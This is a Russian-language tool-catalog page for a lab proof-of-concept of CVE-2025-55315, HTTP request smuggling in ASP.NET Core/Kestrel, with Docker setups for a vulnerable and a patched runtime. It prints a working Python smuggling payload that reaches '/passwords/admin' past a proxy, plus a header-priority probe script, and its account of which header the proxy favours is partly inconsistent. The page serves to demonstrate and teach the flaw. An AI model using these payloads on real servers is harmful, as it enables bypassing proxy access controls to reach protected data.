Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55315 — Эксплойт-доказательство концепции для CVE-2025-55315 (обход HTTP-запросов в .NET). Демонстрирует, как неправильно разобранное chunked-кодирование позволяет злоумышленникам протаскивать запросы мимо прокси и балансировщиков нагрузки в уязвимых серверах ASP.NET Core/Kestrel. | Kitploit
Инструменты/GitHubGitHub/martinfabianionut/cve-2025-55315
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Эксплойт-доказательство концепции для CVE-2025-55315 (обход HTTP-запросов в .NET). Демонстрирует, как неправильно разобранное chunked-кодирование позволяет злоумышленникам протаскивать запросы мимо прокси и балансировщиков нагрузки в уязвимых серверах ASP.NET Core/Kestrel.

Репозиторий
1410 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55315

Доказательство концепции эксплойта для CVE-2025-55315 (HTTP-контрабанда запросов в .NET). Демонстрирует, как неправильно разбираемое чанкированное кодирование позволяет злоумышленникам провозить запросы мимо прокси и балансировщиков нагрузки в уязвимых серверах ASP.NET Core/Kestrel.

📊 Презентация

Посмотреть интерактивную презентацию Prezi

Prezi Presentation

🎥 Нажмите на значок выше, чтобы просмотреть полную интерактивную презентацию на Prezi

Структура проекта

  • Api — объединённое ASP.NET Core API с двумя Dockerfile:
    • Dockerfile.vulnerable — использует .NET 10.0.100-rc.1 (уязвим к CVE-2025-55315)
    • Dockerfile.patched — использует .NET 10.0.100 (исправленная версия)
  • PythonProxy — уязвимый прокси, используемый для демонстрации эксплойта CVE-2025-55315 (отдаёт предпочтение Content-Length перед Transfer-Encoding)
  • YarpProxy — обратный прокси YARP для тестирования балансировки нагрузки (не является частью эксплойта)

Примечание: Уязвимость находится в HTTP-парсере среды выполнения .NET (Kestrel), а не в коде приложения. Обе версии используют идентичный исходный код, но разные версии среды выполнения .NET.

Быстрый старт

# Сборка и запуск всех сервисов
docker-compose up --build

# Доступ к сервисам
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (балансировка нагрузки): http://localhost:5028

Подробные инструкции по использованию Docker см. в DOCKER.md.

Демонстрация эксплойта

Python-прокси демонстрирует CVE-2025-55315, отдавая предпочтение Content-Length перед Transfer-Encoding, что позволяет осуществлять HTTP-контрабанду запросов:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Эта полезная нагрузка провозит второй запрос к /passwords/admin мимо проверки безопасности прокси, используя расхождение в том, как прокси и серверная часть разбирают запрос.

Визуальная интерпретация запроса

Вот как прокси и серверная часть по-разному интерпретируют одну и ту же полезную нагрузку:

ИНТЕРПРЕТАЦИЯ ПРОКСИ (Принимает \n как допустимый конец строки):

flowchart TD
    subgraph Proxy_Request_1 ["🔴 Запрос 1 — Взгляд прокси"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>заголовок чанка (принимает \n)</i>"]
        PCB1["<b>xx</b><br/><i>тело чанка — 2 байта</i>"]
        PCH2["<b>39</b><br/><i>заголовок чанка</i>"]
        PCB2["<i>тело чанка — 57 байт</i><br/>(содержит провезённый запрос)"]
        PLK["<b>0</b><br/><i>последний чанк</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Игнорируется прокси"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Прокси считает это частью тела чанка)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

ИНТЕРПРЕТАЦИЯ СЕРВЕРА (Отвергает \n, требует \r\n):

flowchart TD
    subgraph Backend_Request_1 ["🟢 Запрос 1 — Взгляд сервера"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (недопустимо — часть заголовков)<br/><b>xx</b> (заголовки заканчиваются здесь)"]
        BCB1["<b>39</b><br/><i>тело чанка</i>"]
        BLK1["<b>0</b><br/><i>последний чанк</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Запрос 2 — Взгляд сервера"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>последний чанк</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Ключевые различия:

КомпонентРазмер чанка 2;\nПрочитано байтЧто происходит
Прокси✅ Допустимый размер чанка2 байта (xx)Считает 2;\n полным заголовком чанка, читает 2 байта, переходит к следующему чанку
Сервер❌ Недопустимый конец строкиВсё ещё читает как чанк из 2 байтЗаголовок чанка не заканчивается до xx\r\n, поэтому 39 становится телом чанка, 0 завершает чанк

Подробное объяснение:

  • Прокси: Принимает 2;\n как допустимое объявление размера чанка (2 байта) → Читает xx как 2-байтовое тело чанка → Переходит к следующему чанку (39)
  • Сервер: Отвергает \n как конец строки → Размер чанка по-прежнему 2, но заголовок расширяется через 2;\nxx\r\n → Читает 39 как часть тела чанка → 0\r\n завершает чанк
  • Результат: Провезённый запрос GET /passwords/admin скрыт в том, что сервер считает данными чанка, но разбирается как отдельный запрос после завершения обработки чанков

Провезённый запрос GET /passwords/admin скрыт в том, что прокси считает телом чанка, но сервер разбирает его как отдельный HTTP-запрос.

Выявление уязвимости

Перед эксплуатацией необходимо определить, какой HTTP-заголовок (Content-Length или Transfer-Encoding) предпочитают разные компоненты. Вот пошаговое руководство:

Шаг 1: Проверка приоритета заголовков

Отправьте запрос с обоими заголовками Content-Length и Transfer-Encoding: chunked, чтобы увидеть, какой из них уважает каждый компонент:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Анализ:

  • Если сервер обрабатывает "Fa" (2 байта) → Он предпочитает Content-Length
  • Если сервер обрабатывает "Fabian" (полное чанкированное тело) → Он предпочитает Transfer-Encoding

Шаг 2: Проверка каждого компонента

Проверьте все компоненты вашей архитектуры, чтобы найти расхождения:

Проверка Unsafe API (Порт 5001)

# Используя Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Проверка Safe API (Порт 5002)

# Измените порт на 5002 и протестируйте
# Safe API должен правильно обрабатывать конфликт

Проверка Python Proxy (Порт 5027)

Скачать инструмент